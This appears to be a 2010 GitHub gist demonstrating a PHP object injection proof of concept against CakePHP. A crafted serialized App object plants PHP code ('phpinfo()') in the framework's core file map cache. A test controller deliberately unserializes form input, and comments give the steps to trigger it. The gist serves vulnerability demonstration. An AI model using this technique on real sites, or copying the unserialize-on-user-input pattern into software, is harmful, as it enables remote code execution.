Skip to content

Instantly share code, notes, and snippets.

@predominant
Created November 18, 2010 03:43
Embed
What would you like to do?
// --- Controller
class TestsController extends Controller {
public $uses = array();
public function add() {
$x = new App();
$x->__cache = 1;
$x->__map = array(
'Core' => array('Router' => '../tmp/cache/persistent/cake_core_file_map'),
'Foo' => '<?php phpinfo(); exit(); ?>'
);
$x->__paths = array();
$x->__objects = array();
$a = serialize($x);
$this->log($a);
// - Now read the value from /tmp/logs/error.log
// - Set debug to 0
// - Enter the serialized string into the form, and submit
// - reload the page
if (!empty($this->data)) {
unserialize($this->data['Test']['field']);
}
}
}
// --- View File
echo $this->Form->create('Test');
echo $this->Form->textarea('field');
echo $this->Form->end('submit');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment